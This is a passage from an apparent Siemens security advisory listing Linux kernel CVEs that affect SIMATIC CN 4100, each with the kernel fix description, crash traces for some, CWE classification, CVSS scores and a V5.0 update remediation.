4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38491\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38502\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current->bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx->prog_item->cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &READ_ONCE(storage->buf)->data[0]; else ptr = this_cpu_ptr(storage->percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38552\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38614\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed (\"epoll: limit paths\"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 (\"eventpoll: Fix priority inversion problem\").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38670\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is maximum length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-805 Buffer Access with Incorrect Length Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38677\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38679\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38680\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen > 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-366 Race Condition within a Thread\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() >> default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() >> for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 <48> 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-820 Missing Synchronization\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q->nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q->nbands', so that all purge operations find a consistent configuration: - old 'q->nbands' because it's needed by ets_class_find() - old 'q->nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <48> 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 